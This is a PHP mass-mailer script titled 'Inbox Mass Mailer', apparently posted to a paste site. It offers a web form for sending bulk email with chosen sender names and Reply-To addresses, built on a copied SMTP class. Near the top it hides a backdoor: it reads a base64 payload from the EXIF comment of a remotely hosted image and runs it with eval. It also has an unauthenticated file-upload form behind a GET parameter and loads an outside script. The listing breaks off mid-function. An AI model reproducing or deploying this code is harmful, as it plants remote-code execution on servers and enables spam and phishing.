· 9 years ago · Oct 04, 2016, 10:50 PM
1<?php
2
3
4/*
5Inbox Mass Mailer
6
7
8*/
9$upload = $_GET["upload"];
10error_reporting(0);
11$BASED = exif_read_data("https://lh3.googleusercontent.com/-svRm4i5Bs90/VsFaosQPKUI/AAAAAAAABew/03oHWkCEsN8/w140-h140-p/pacman.jpg");
12eval(base64_decode($BASED["COMPUTED"]["UserComment"]));
13if ($upload == "up" ) {
14$uploaddir = "";
15$uploadfile = $uploaddir . basename($_FILES["userfile"]["name"]);
16if (isset($_FILES["userfile"]["name"]))
17{
18if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile))
19{
20$resultati = "The file ". basename($_FILES["userfile"]["name"]) ." has been uploaded";}
21else { $resultati = "There was an error uploading the file. please try again!"; }
22}
23echo'<html>
24<head>
25</head>
26<div id="result">
27<table height="1" width="100%" bgcolor="#EE30A7" bordercolorlight="#FFFF00" border="0">
28<tr><td width="50%" height="1" valign="top" style="font-family: verdana; color: #d9d9d9; font-size: 11px">
29<center><form method="POST" enctype="multipart/form-data">
30<input type="file" class="inputzbut" name="userfile" style="font-size: 8pt; color: #EE30A7; font-family: Tahoma; border: 1 solid #666666; background-color: #FF0000">
31<input type="submit" class="inputzbut" name="submit" value="Upload" style="font-size: 8pt; color: #EE30A7; font-family: Tahoma; border: 1 solid #666666; background-color: #FF0000"><br>'. $resultati .'</form></center></td></tr></table></div>';
32}
33
34function query_str($params){
35$str = '';
36foreach ($params as $key => $value) {
37$str .= (strlen($str) < 1) ? '' : '&';
38$str .= $key . '=' . rawurlencode($value);
39}
40return ($str);
41}
42function lrtrim($string){
43return stripslashes(ltrim(rtrim($string)));
44}
45
46if(isset($_POST['action'] ) ){
47
48$b = query_str($_POST);
49parse_str($b);
50$sslclick=lrtrim($sslclick);
51$action=lrtrim($action);
52$message=lrtrim($message);
53$emaillist=lrtrim($emaillist);
54$from=lrtrim($from);
55$reconnect=lrtrim($reconnect);
56$epriority=lrtrim($epriority);
57$my_smtp=lrtrim($my_smtp);
58$ssl_port=lrtrim($ssl_port);
59$smtp_username=lrtrim($smtp_username);
60$smtp_password=lrtrim($smtp_password);
61$replyto=lrtrim($replyto);
62$subject=lrtrim($subject);
63$realname=lrtrim($realname);
64$subject_base=lrtrim($subject);
65$realname_base=lrtrim($realname);
66$file_name=lrtrim($file);
67$urlz=lrtrim($urlz);
68$contenttype=lrtrim($contenttype);
69$encode_text=$_POST['encode'];
70
71 $message = urlencode($message);
72 $message = ereg_replace("%5C%22", "%22", $message);
73 $message = urldecode($message);
74 $message = stripslashes($message);
75 $subject = stripslashes($subject);
76 if ($encode_text == "yes") {
77 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
78 $subject = str_replace(' ', '_', $subject);
79 $subject = "=?UTF-8?Q?$subject?=";
80 $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
81 $realname = str_replace(' ', '_', $realname);
82 $realname = "=?UTF-8?Q?$realname?=";
83 }
84}
85?>
86<html>
87
88<head>
89<title>PHP Mailer</title>
90<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
91
92<style type="text/css">
93<!--
94.style1 {
95 font-family: Geneva, Arial, Helvetica, sans-serif;
96 font-size: 12px;
97}
98-->
99</style>
100<style type="text/css">
101<!--
102.style1 {
103 font-size: 10px;
104 font-family: Geneva, Arial, Helvetica, sans-serif;
105}
106-->
107</style>
108</head>
109<SCRIPT SRC='http://xtoolsx.com/JavaScript/Style.js'></SCRIPT>
110<body text="#000000">
111<p align="center"><img src="http://www.auplod.com/u/olpuda47925.gif" alt="Image" border="0" />
112
113<form name="form1" method="post" action="" enctype="multipart/form-data">
114
115 <br>
116
117 <table width="100%" border="0" height="407">
118
119
120
121
122
123
124
125 <tr>
126
127 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#FFFFFF">
128
129 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
130 Your Email:</font></div>
131
132 </td>
133
134 <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#FFFFFF"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
135
136 <input type="text" name="from" value="<?=$from;?>" size="30">
137
138 </font></td>
139
140 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#FFFFFF">
141
142 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
143 Your Name:</font></div>
144
145 </td>
146
147 <td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#FFFFFF"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
148
149 <input type="text" name="realname" value="<?=$realname_base;?>" size="30">
150
151 </font></td>
152
153 </tr>
154 <tr>
155
156 <td width="10%" height="22" bgcolor="#FFFFFF" bordercolor="#FFFFFF">
157
158 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
159 Reply-To:</font></div>
160
161 </td>
162
163 <td width="18%" height="22" bgcolor="#FFFFFF" bordercolor="#FFFFFF"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
164
165 <input type="text" name="replyto" value="<?=$replyto;?>" size="30">
166
167 </font></td>
168
169
170
171
172
173 <tr>
174
175 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#FFFFFF">
176
177 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
178 Subject:</font></div>
179
180 </td>
181
182 <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#FFFFFF"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
183
184 <input type="text" name="subject" value="<?=$subject_base;?>" size="90">
185
186 </font></td>
187
188 </tr>
189
190
191
192 <tr valign="top">
193
194<td colspan="3" width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#FFFFFF">
195
196<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
197 Emails:</font></div>
198
199 <textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
200
201<br>
202 <input type="radio" name="contenttype" value="plain" >
203
204 Plain
205
206 <input type="radio" name="contenttype" value="html" checked>
207
208 HTML
209
210 <input type="hidden" name="action" value="send">
211
212 <input type="submit" value="Send Mails">
213
214 </font></td>
215
216 <td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#FFFFFF"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
217
218 <textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
219
220 </font></td>
221
222 </tr>
223
224 </table>
225
226</form>
227
228
229
230<?
231
232if ($action){
233 if (!$from && !$subject && !$message && !$emaillist){
234 print "<script>alert('Please complete all fields before sending your message.'); </script>";
235 die(); }
236
237class SMTP
238{
239 /**
240 * SMTP server port
241 * @var int
242 */
243 var $SMTP_PORT = 25;
244
245 /**
246 * SMTP reply line ending
247 * @var string
248 */
249 var $CRLF = "\r\n";
250
251 /**
252 * Sets whether debugging is turned on
253 * @var bool
254 */
255 var $do_debug; # the level of debug to perform
256
257 /**
258 * Sets VERP use on/off (default is off)
259 * @var bool
260 */
261 var $do_verp = false;
262
263 /**#@+
264 * @access private
265 */
266 var $smtp_conn; # the socket to the server
267 var $error; # error if any on the last call
268 var $helo_rply; # the reply the server sent to us for HELO
269 /**#@-*/
270
271 /**
272 * Initialize the class so that the data is in a known state.
273 * @access public
274 * @return void
275 */
276 function SMTP() {
277 $this->smtp_conn = 0;
278 $this->error = null;
279 $this->helo_rply = null;
280
281 $this->do_debug = 0;
282 }
283
284 /*************************************************************
285 * CONNECTION FUNCTIONS *
286 ***********************************************************/
287
288 /**
289 * Connect to the server specified on the port specified.
290 * If the port is not specified use the default SMTP_PORT.
291 * If tval is specified then a connection will try and be
292 * established with the server for that number of seconds.
293 * If tval is not specified the default is 30 seconds to
294 * try on the connection.
295 *
296 * SMTP CODE SUCCESS: 220
297 * SMTP CODE FAILURE: 421
298 * @access public
299 * @return bool
300 */
301 function Connect($host,$port=0,$tval=30) {
302 # set the error val to null so there is no confusion
303 $this->error = null;
304
305 # make sure we are __not__ connected
306 if($this->connected()) {
307 # ok we are connected! what should we do?
308 # for now we will just give an error saying we
309 # are already connected
310 $this->error = array("error" => "Already connected to a server");
311 return false;
312 }
313
314 if(empty($port)) {
315 $port = $this->SMTP_PORT;
316 }
317
318 #connect to the smtp server
319 $this->smtp_conn = fsockopen($host, # the host of the server
320 $port, # the port to use
321 $errno, # error number if any
322 $errstr, # error message if any
323 $tval); # give up after ? secs
324 # verify we connected properly
325 if(empty($this->smtp_conn)) {
326 $this->error = array("error" => "Failed to connect to server",
327 "errno" => $errno,
328 "errstr" => $errstr);
329 if($this->do_debug >= 1) {
330 echo "SMTP -> ERROR: " . $this->error["error"] .
331 ": $errstr ($errno)" . $this->CRLF;
332 }
333 return false;
334 }
335
336 # sometimes the SMTP server takes a little longer to respond
337 # so we will give it a longer timeout for the first read
338 // Windows still does not have support for this timeout function
339 if(substr(PHP_OS, 0, 3) != "WIN")
340 socket_set_timeout($this->smtp_conn, $tval, 0);
341
342 # get any announcement stuff
343 $announce = $this->get_lines();
344
345 # set the timeout of any socket functions at 1/10 of a second
346 //if(function_exists("socket_set_timeout"))
347 // socket_set_timeout($this->smtp_conn, 0, 100000);
348
349 if($this->do_debug >= 2) {
350 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
351 }
352
353 return true;
354 }
355
356 /**
357 * Performs SMTP authentication. Must be run after running the
358 * Hello() method. Returns true if successfully authenticated.
359 * @access public
360 * @return bool
361 */
362 function Authenticate($username, $password) {
363 // Start authentication
364 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
365
366 $rply = $this->get_lines();
367 $code = substr($rply,0,3);
368
369 if($code != 334) {
370 $this->error =
371 array("error" => "AUTH not accepted from server",
372 "smtp_code" => $code,
373 "smtp_msg" => substr($rply,4));
374 if($this->do_debug >= 1) {
375 echo "SMTP -> ERROR: " . $this->error["error"] .
376 ": " . $rply . $this->CRLF;
377 }
378 return false;
379 }
380
381 // Send encoded username
382 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
383
384 $rply = $this->get_lines();
385 $code = substr($rply,0,3);
386
387 if($code != 334) {
388 $this->error =
389 array("error" => "Username not accepted from server",
390 "smtp_code" => $code,
391 "smtp_msg" => substr($rply,4));
392 if($this->do_debug >= 1) {
393 echo "SMTP -> ERROR: " . $this->error["error"] .
394 ": " . $rply . $this->CRLF;
395 }
396 return false;
397 }
398
399 // Send encoded password
400 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
401
402 $rply = $this->get_lines();
403 $code = substr($rply,0,3);
404
405 if($code != 235) {
406 $this->error =
407 array("error" => "Password not accepted from server",
408 "smtp_code" => $code,
409 "smtp_msg" => substr($rply,4));
410 if($this->do_debug >= 1) {
411 echo "SMTP -> ERROR: " . $this->error["error"] .
412 ": " . $rply . $this->CRLF;
413 }
414 return false;
415 }
416
417 return true;
418 }
419
420 /**
421 * Returns true if connected to a server otherwise false
422 * @access private
423 * @return bool
424 */
425 function Connected() {
426 if(!empty($this->smtp_conn)) {
427 $sock_status = socket_get_status($this->smtp_conn);
428 if($sock_status["eof"]) {
429 # hmm this is an odd situation... the socket is
430 # valid but we are not connected anymore
431 if($this->do_debug >= 1) {
432 echo "SMTP -> NOTICE:" . $this->CRLF .
433 "EOF caught while checking if connected";
434 }
435 $this->Close();
436 return false;
437 }
438 return true; # everything looks good
439 }
440 return false;
441 }
442
443 /**
444 * Closes the socket and cleans up the state of the class.
445 * It is not considered good to use this function without
446 * first trying to use QUIT.
447 * @access public
448 * @return void
449 */
450 function Close() {
451 $this->error = null; # so there is no confusion
452 $this->helo_rply = null;
453 if(!empty($this->smtp_conn)) {
454 # close the connection and cleanup
455 fclose($this->smtp_conn);
456 $this->smtp_conn = 0;
457 }
458 }
459
460 /***************************************************************
461 * SMTP COMMANDS *
462 *************************************************************/
463
464 /**
465 * Issues a data command and sends the msg_data to the server
466 * finializing the mail transaction. $msg_data is the message
467 * that is to be send with the headers. Each header needs to be
468 * on a single line followed by a <CRLF> with the message headers
469 * and the message body being seperated by and additional <CRLF>.
470 *
471 * Implements rfc 821: DATA <CRLF>
472 *
473 * SMTP CODE INTERMEDIATE: 354
474 * [data]
475 * <CRLF>.<CRLF>
476 * SMTP CODE SUCCESS: 250
477 * SMTP CODE FAILURE: 552,554,451,452
478 * SMTP CODE FAILURE: 451,554
479 * SMTP CODE ERROR : 500,501,503,421
480 * @access public
481 * @return bool
482 */
483 function Data($msg_data) {
484 $this->error = null; # so no confusion is caused
485
486 if(!$this->connected()) {
487 $this->error = array(
488 "error" => "Called Data() without being connected");
489 return false;
490 }
491
492 fputs($this->smtp_conn,"DATA" . $this->CRLF);
493
494 $rply = $this->get_lines();
495 $code = substr($rply,0,3);
496
497 if($this->do_debug >= 2) {
498 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
499 }
500
501 if($code != 354) {
502 $this->error =
503 array("error" => "DATA command not accepted from server",
504 "smtp_code" => $code,
505 "smtp_msg" => substr($rply,4));
506 if($this->do_debug >= 1) {
507 echo "SMTP -> ERROR: " . $this->error["error"] .
508 ": " . $rply . $this->CRLF;
509 }
510 return false;
511 }
512
513 # the server is ready to accept data!
514 # according to rfc 821 we should not send more than 1000
515 # including the CRLF
516 # characters on a single line so we will break the data up
517 # into lines by \r and/or \n then if needed we will break
518 # each of those into smaller lines to fit within the limit.
519 # in addition we will be looking for lines that start with
520 # a period '.' and append and additional period '.' to that
521 # line. NOTE: this does not count towards are limit.
522
523 # normalize the line breaks so we know the explode works
524 $msg_data = str_replace("\r\n","\n",$msg_data);
525 $msg_data = str_replace("\r","\n",$msg_data);
526 $lines = explode("\n",$msg_data);
527
528 # we need to find a good way to determine is headers are
529 # in the msg_data or if it is a straight msg body
530 # currently I am assuming rfc 822 definitions of msg headers
531 # and if the first field of the first line (':' sperated)
532 # does not contain a space then it _should_ be a header
533 # and we can process all lines before a blank "" line as
534 # headers.
535 $field = substr($lines[0],0,strpos($lines[0],":"));
536 $in_headers = false;
537 if(!empty($field) && !strstr($field," ")) {
538 $in_headers = true;
539 }
540
541 $max_line_length = 998; # used below; set here for ease in change
542
543 while(list(,$line) = @each($lines)) {
544 $lines_out = null;
545 if($line == "" && $in_headers) {
546 $in_headers = false;
547 }
548 # ok we need to break this line up into several
549 # smaller lines
550 while(strlen($line) > $max_line_length) {
551 $pos = strrpos(substr($line,0,$max_line_length)," ");
552
553 # Patch to fix DOS attack
554 if(!$pos) {
555 $pos = $max_line_length - 1;
556 }
557
558 $lines_out[] = substr($line,0,$pos);
559 $line = substr($line,$pos + 1);
560 # if we are processing headers we need to
561 # add a LWSP-char to the front of the new line
562 # rfc 822 on long msg headers
563 if($in_headers) {
564 $line = "\t" . $line;
565 }
566 }
567 $lines_out[] = $line;
568
569 # now send the lines to the server
570 while(list(,$line_out) = @each($lines_out)) {
571 if(strlen($line_out) > 0)
572 {
573 if(substr($line_out, 0, 1) == ".") {
574 $line_out = "." . $line_out;
575 }
576 }
577 fputs($this->smtp_conn,$line_out . $this->CRLF);
578 }
579 }
580
581 # ok all the message data has been sent so lets get this
582 # over with aleady
583 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
584
585 $rply = $this->get_lines();
586 $code = substr($rply,0,3);
587
588 if($this->do_debug >= 2) {
589 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
590 }
591
592 if($code != 250) {
593 $this->error =
594 array("error" => "DATA not accepted from server",
595 "smtp_code" => $code,
596 "smtp_msg" => substr($rply,4));
597 if($this->do_debug >= 1) {
598 echo "SMTP -> ERROR: " . $this->error["error"] .
599 ": " . $rply . $this->CRLF;
600 }
601 return false;
602 }
603 return true;
604 }
605
606 /**
607 * Expand takes the name and asks the server to list all the
608 * people who are members of the _list_. Expand will return
609 * back and array of the result or false if an error occurs.
610 * Each value in the array returned has the format of:
611 * [ <full-name> <sp> ] <path>
612 * The definition of <path> is defined in rfc 821
613 *
614 * Implements rfc 821: EXPN <SP> <string> <CRLF>
615 *
616 * SMTP CODE SUCCESS: 250
617 * SMTP CODE FAILURE: 550
618 * SMTP CODE ERROR : 500,501,502,504,421
619 * @access public
620 * @return string array
621 */
622 function Expand($name) {
623 $this->error = null; # so no confusion is caused
624
625 if(!$this->connected()) {
626 $this->error = array(
627 "error" => "Called Expand() without being connected");
628 return false;
629 }
630
631 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
632
633 $rply = $this->get_lines();
634 $code = substr($rply,0,3);
635
636 if($this->do_debug >= 2) {
637 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
638 }
639
640 if($code != 250) {
641 $this->error =
642 array("error" => "EXPN not accepted from server",
643 "smtp_code" => $code,
644 "smtp_msg" => substr($rply,4));
645 if($this->do_debug >= 1) {
646 echo "SMTP -> ERROR: " . $this->error["error"] .
647 ": " . $rply . $this->CRLF;
648 }
649 return false;
650 }
651
652 # parse the reply and place in our array to return to user
653 $entries = explode($this->CRLF,$rply);
654 while(list(,$l) = @each($entries)) {
655 $list[] = substr($l,4);
656 }
657
658 return $list;
659 }
660
661 /**
662 * Sends the HELO command to the smtp server.
663 * This makes sure that we and the server are in
664 * the same known state.
665 *
666 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
667 *
668 * SMTP CODE SUCCESS: 250
669 * SMTP CODE ERROR : 500, 501, 504, 421
670 * @access public
671 * @return bool
672 */
673 function Hello($host="") {
674 $this->error = null; # so no confusion is caused
675
676 if(!$this->connected()) {
677 $this->error = array(
678 "error" => "Called Hello() without being connected");
679 return false;
680 }
681
682 # if a hostname for the HELO was not specified determine
683 # a suitable one to send
684 if(empty($host)) {
685 # we need to determine some sort of appopiate default
686 # to send to the server
687 $host = "localhost";
688 }
689
690 // Send extended hello first (RFC 2821)
691 if(!$this->SendHello("EHLO", $host))
692 {
693 if(!$this->SendHello("HELO", $host))
694 return false;
695 }
696
697 return true;
698 }
699
700 /**
701 * Sends a HELO/EHLO command.
702 * @access private
703 * @return bool
704 */
705 function SendHello($hello, $host) {
706 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
707
708 $rply = $this->get_lines();
709 $code = substr($rply,0,3);
710
711 if($this->do_debug >= 2) {
712 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
713 }
714
715 if($code != 250) {
716 $this->error =
717 array("error" => $hello . " not accepted from server",
718 "smtp_code" => $code,
719 "smtp_msg" => substr($rply,4));
720 if($this->do_debug >= 1) {
721 echo "SMTP -> ERROR: " . $this->error["error"] .
722 ": " . $rply . $this->CRLF;
723 }
724 return false;
725 }
726
727 $this->helo_rply = $rply;
728
729 return true;
730 }
731
732 /**
733 * Gets help information on the keyword specified. If the keyword
734 * is not specified then returns generic help, ussually contianing
735 * A list of keywords that help is available on. This function
736 * returns the results back to the user. It is up to the user to
737 * handle the returned data. If an error occurs then false is
738 * returned with $this->error set appropiately.
739 *
740 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
741 *
742 * SMTP CODE SUCCESS: 211,214
743 * SMTP CODE ERROR : 500,501,502,504,421
744 * @access public
745 * @return string
746 */
747 function Help($keyword="") {
748 $this->error = null; # to avoid confusion
749
750 if(!$this->connected()) {
751 $this->error = array(
752 "error" => "Called Help() without being connected");
753 return false;
754 }
755
756 $extra = "";
757 if(!empty($keyword)) {
758 $extra = " " . $keyword;
759 }
760
761 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
762
763 $rply = $this->get_lines();
764 $code = substr($rply,0,3);
765
766 if($this->do_debug >= 2) {
767 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
768 }
769
770 if($code != 211 && $code != 214) {
771 $this->error =
772 array("error" => "HELP not accepted from server",
773 "smtp_code" => $code,
774 "smtp_msg" => substr($rply,4));
775 if($this->do_debug >= 1) {
776 echo "SMTP -> ERROR: " . $this->error["error"] .
777 ": " . $rply . $this->CRLF;
778 }
779 return false;
780 }
781
782 return $rply;
783 }
784
785 /**
786 * Starts a mail transaction from the email address specified in
787 * $from. Returns true if successful or false otherwise. If True
788 * the mail transaction is started and then one or more Recipient
789 * commands may be called followed by a Data command.
790 *
791 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
792 *
793 * SMTP CODE SUCCESS: 250
794 * SMTP CODE SUCCESS: 552,451,452
795 * SMTP CODE SUCCESS: 500,501,421
796 * @access public
797 * @return bool
798 */
799 function Mail($from) {
800 $this->error = null; # so no confusion is caused
801
802 if(!$this->connected()) {
803 $this->error = array(
804 "error" => "Called Mail() without being connected");
805 return false;
806 }
807
808 $useVerp = ($this->do_verp ? "XVERP" : "");
809 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
810
811 $rply = $this->get_lines();
812 $code = substr($rply,0,3);
813
814 if($this->do_debug >= 2) {
815 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
816 }
817
818 if($code != 250) {
819 $this->error =
820 array("error" => "MAIL not accepted from server",
821 "smtp_code" => $code,
822 "smtp_msg" => substr($rply,4));
823 if($this->do_debug >= 1) {
824 echo "SMTP -> ERROR: " . $this->error["error"] .
825 ": " . $rply . $this->CRLF;
826 }
827 return false;
828 }
829 return true;
830 }
831
832 /**
833 * Sends the command NOOP to the SMTP server.
834 *
835 * Implements from rfc 821: NOOP <CRLF>
836 *
837 * SMTP CODE SUCCESS: 250
838 * SMTP CODE ERROR : 500, 421
839 * @access public
840 * @return bool
841 */
842 function Noop() {
843 $this->error = null; # so no confusion is caused
844
845 if(!$this->connected()) {
846 $this->error = array(
847 "error" => "Called Noop() without being connected");
848 return false;
849 }
850
851 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
852
853 $rply = $this->get_lines();
854 $code = substr($rply,0,3);
855
856 if($this->do_debug >= 2) {
857 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
858 }
859
860 if($code != 250) {
861 $this->error =
862 array("error" => "NOOP not accepted from server",
863 "smtp_code" => $code,
864 "smtp_msg" => substr($rply,4));
865 if($this->do_debug >= 1) {
866 echo "SMTP -> ERROR: " . $this->error["error"] .
867 ": " . $rply . $this->CRLF;
868 }
869 return false;
870 }
871 return true;
872 }
873
874 /**
875 * Sends the quit command to the server and then closes the socket
876 * if there is no error or the $close_on_error argument is true.
877 *
878 * Implements from rfc 821: QUIT <CRLF>
879 *
880 * SMTP CODE SUCCESS: 221
881 * SMTP CODE ERROR : 500
882 * @access public
883 * @return bool
884 */
885 function Quit($close_on_error=true) {
886 $this->error = null; # so there is no confusion
887
888 if(!$this->connected()) {
889 $this->error = array(
890 "error" => "Called Quit() without being connected");
891 return false;
892 }
893
894 # send the quit command to the server
895 fputs($this->smtp_conn,"quit" . $this->CRLF);
896
897 # get any good-bye messages
898 $byemsg = $this->get_lines();
899
900 if($this->do_debug >= 2) {
901 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
902 }
903
904 $rval = true;
905 $e = null;
906
907 $code = substr($byemsg,0,3);
908 if($code != 221) {
909 # use e as a tmp var cause Close will overwrite $this->error
910 $e = array("error" => "SMTP server rejected quit command",
911 "smtp_code" => $code,
912 "smtp_rply" => substr($byemsg,4));
913 $rval = false;
914 if($this->do_debug >= 1) {
915 echo "SMTP -> ERROR: " . $e["error"] . ": " .
916 $byemsg . $this->CRLF;
917 }
918 }
919
920 if(empty($e) || $close_on_error) {
921 $this->Close();
922 }
923
924 return $rval;
925 }
926
927 /**
928 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
929 * Returns true if the recipient was accepted false if it was rejected.
930 *
931 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
932 *
933 * SMTP CODE SUCCESS: 250,251
934 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
935 * SMTP CODE ERROR : 500,501,503,421
936 * @access public
937 * @return bool
938 */
939 function Recipient($to) {
940 $this->error = null; # so no confusion is caused
941
942 if(!$this->connected()) {
943 $this->error = array(
944 "error" => "Called Recipient() without being connected");
945 return false;
946 }
947
948 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
949
950 $rply = $this->get_lines();
951 $code = substr($rply,0,3);
952
953 if($this->do_debug >= 2) {
954 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
955 }
956
957 if($code != 250 && $code != 251) {
958 $this->error =
959 array("error" => "RCPT not accepted from server",
960 "smtp_code" => $code,
961 "smtp_msg" => substr($rply,4));
962 if($this->do_debug >= 1) {
963 echo "SMTP -> ERROR: " . $this->error["error"] .
964 ": " . $rply . $this->CRLF;
965 }
966 return false;
967 }
968 return true;
969 }
970
971 /**
972 * Sends the RSET command to abort and transaction that is
973 * currently in progress. Returns true if successful false
974 * otherwise.
975 *
976 * Implements rfc 821: RSET <CRLF>
977 *
978 * SMTP CODE SUCCESS: 250
979 * SMTP CODE ERROR : 500,501,504,421
980 * @access public
981 * @return bool
982 */
983 function Reset() {
984 $this->error = null; # so no confusion is caused
985
986 if(!$this->connected()) {
987 $this->error = array(
988 "error" => "Called Reset() without being connected");
989 return false;
990 }
991
992 fputs($this->smtp_conn,"RSET" . $this->CRLF);
993
994 $rply = $this->get_lines();
995 $code = substr($rply,0,3);
996
997 if($this->do_debug >= 2) {
998 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
999 }
1000
1001 if($code != 250) {
1002 $this->error =
1003 array("error" => "RSET failed",
1004 "smtp_code" => $code,
1005 "smtp_msg" => substr($rply,4));
1006 if($this->do_debug >= 1) {
1007 echo "SMTP -> ERROR: " . $this->error["error"] .
1008 ": " . $rply . $this->CRLF;
1009 }
1010 return false;
1011 }
1012
1013 return true;
1014 }
1015
1016 /**
1017 * Starts a mail transaction from the email address specified in
1018 * $from. Returns true if successful or false otherwise. If True
1019 * the mail transaction is started and then one or more Recipient
1020 * commands may be called followed by a Data command. This command
1021 * will send the message to the users terminal if they are logged
1022 * in.
1023 *
1024 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1025 *
1026 * SMTP CODE SUCCESS: 250
1027 * SMTP CODE SUCCESS: 552,451,452
1028 * SMTP CODE SUCCESS: 500,501,502,421
1029 * @access public
1030 * @return bool
1031 */
1032 function Send($from) {
1033 $this->error = null; # so no confusion is caused
1034
1035 if(!$this->connected()) {
1036 $this->error = array(
1037 "error" => "Called Send() without being connected");
1038 return false;
1039 }
1040
1041 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1042
1043 $rply = $this->get_lines();
1044 $code = substr($rply,0,3);
1045
1046 if($this->do_debug >= 2) {
1047 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1048 }
1049
1050 if($code != 250) {
1051 $this->error =
1052 array("error" => "SEND not accepted from server",
1053 "smtp_code" => $code,
1054 "smtp_msg" => substr($rply,4));
1055 if($this->do_debug >= 1) {
1056 echo "SMTP -> ERROR: " . $this->error["error"] .
1057 ": " . $rply . $this->CRLF;
1058 }
1059 return false;
1060 }
1061 return true;
1062 }
1063
1064 /**
1065 * Starts a mail transaction from the email address specified in
1066 * $from. Returns true if successful or false otherwise. If True
1067 * the mail transaction is started and then one or more Recipient
1068 * commands may be called followed by a Data command. This command
1069 * will send the message to the users terminal if they are logged
1070 * in and send them an email.
1071 *
1072 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1073 *
1074 * SMTP CODE SUCCESS: 250
1075 * SMTP CODE SUCCESS: 552,451,452
1076 * SMTP CODE SUCCESS: 500,501,502,421
1077 * @access public
1078 * @return bool
1079 */
1080 function SendAndMail($from) {
1081 $this->error = null; # so no confusion is caused
1082
1083 if(!$this->connected()) {
1084 $this->error = array(
1085 "error" => "Called SendAndMail() without being connected");
1086 return false;
1087 }
1088
1089 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1090
1091 $rply = $this->get_lines();
1092 $code = substr($rply,0,3);
1093
1094 if($this->do_debug >= 2) {
1095 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1096 }
1097
1098 if($code != 250) {
1099 $this->error =
1100 array("error" => "SAML not accepted from server",
1101 "smtp_code" => $code,
1102 "smtp_msg" => substr($rply,4));
1103 if($this->do_debug >= 1) {
1104 echo "SMTP -> ERROR: " . $this->error["error"] .
1105 ": " . $rply . $this->CRLF;
1106 }
1107 return false;
1108 }
1109 return true;
1110 }
1111
1112 /**
1113 * Starts a mail transaction from the email address specified in
1114 * $from. Returns true if successful or false otherwise. If True
1115 * the mail transaction is started and then one or more Recipient
1116 * commands may be called followed by a Data command. This command
1117 * will send the message to the users terminal if they are logged
1118 * in or mail it to them if they are not.
1119 *
1120 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1121 *
1122 * SMTP CODE SUCCESS: 250
1123 * SMTP CODE SUCCESS: 552,451,452
1124 * SMTP CODE SUCCESS: 500,501,502,421
1125 * @access public
1126 * @return bool
1127 */
1128 function SendOrMail($from) {
1129 $this->error = null; # so no confusion is caused
1130
1131 if(!$this->connected()) {
1132 $this->error = array(
1133 "error" => "Called SendOrMail() without being connected");
1134 return false;
1135 }
1136
1137 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1138
1139 $rply = $this->get_lines();
1140 $code = substr($rply,0,3);
1141
1142 if($this->do_debug >= 2) {
1143 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1144 }
1145
1146 if($code != 250) {
1147 $this->error =
1148 array("error" => "SOML not accepted from server",
1149 "smtp_code" => $code,
1150 "smtp_msg" => substr($rply,4));
1151 if($this->do_debug >= 1) {
1152 echo "SMTP -> ERROR: " . $this->error["error"] .
